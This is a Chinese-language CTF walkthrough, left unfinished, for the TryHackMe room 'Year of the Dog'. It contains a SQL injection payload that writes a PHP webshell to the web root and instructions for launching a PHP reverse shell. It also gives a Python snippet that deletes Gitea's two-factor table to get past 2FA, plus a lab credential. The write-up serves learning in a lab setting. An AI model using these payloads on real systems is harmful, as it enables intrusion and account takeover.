TryHackMe-Year of the Dog(未完待续)

发布于 2022-12-12  341 次阅读


简介:

Always so polite...

房间链接:

https://tryhackme.com/room/yearofthedog

问题:

挑战开始:

首先还是先扫下端口

nmap -p 1-65535 -sC -sV 10.10.108.141

可以看到只开了两个端口
访问80端口

使用dirbuster扫描了下目录
发现一个assert目录
下面有个flag的图片


但是没什么发现,把图片下载下来分析一下
但是没有什么发现
打开burp进一步分析

这儿发现了一个cookie
尝试注入,单引号成功报错

放进sqlmap中跑了下,存在注入

这里直接--os-shell无法成功
尝试读取文件
但是这里sqlmap不好用,尝试手工注入
在手注的时候发现存在联合注入
并且可以读文件

尝试写文件

UNION SELECT null,unhex('3C3F7068702073797374656D28245F4745545B22636D64225D29203F3E') INTO OUTFILE '/var/www/html/shell.php' -- -

写入的内容其实是一句话木马

<?php system($_GET["cmd"]) ?>

访问shell.php
发现成功写入

这里我们便可以使用shell进行命令执行

这里我们通过这个一句话木马上传另一个木马反弹shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

更改shell中的回连IP

本地建立一个http服务
在一句话木马中下载,然后本地做好监听
访问shell1.php

成功返回shell
但是此时的权限并不足以读取flag

查看目录下的另一个文件,发现是一个日志

仔细看了下内容,从中找到一个密码

尝试登陆
一直都失败,最后把前面的dylan给删了,密码是Labr4d0rs4L1f3,成功登陆--
成功找到flag

接着尝试提权,这里看了sudo,suid,capabilities提权,但是都不行
查看网络连接

这里看到有几个端口没对外开放
使用ssh端口转发

ssh dylan@10.10.14.168 -L 3000:localhost:3000

访问本地的3000端口

通过左下角发现了框架和版本

搜索了下版本
发现存在RCE
但是需要有用户名密码
我们是用dylan/Labr4d0rs4L1f3登陆
发现存在二次验证
这里花了好长时间来想着绕过,但是没成功,借鉴了其他大佬的思路,删除双因素认证的表
在目标机器上使用python3

import sqlite3
conn=sqlite3.connect('gitea.db')
conn.execute('delete from two_factor')
conn.commit()
conn.close()

接着重新登陆,成功进入

提权太难了,回头慢慢尝试,

届ける言葉を今は育ててる
最后更新于 2022-12-12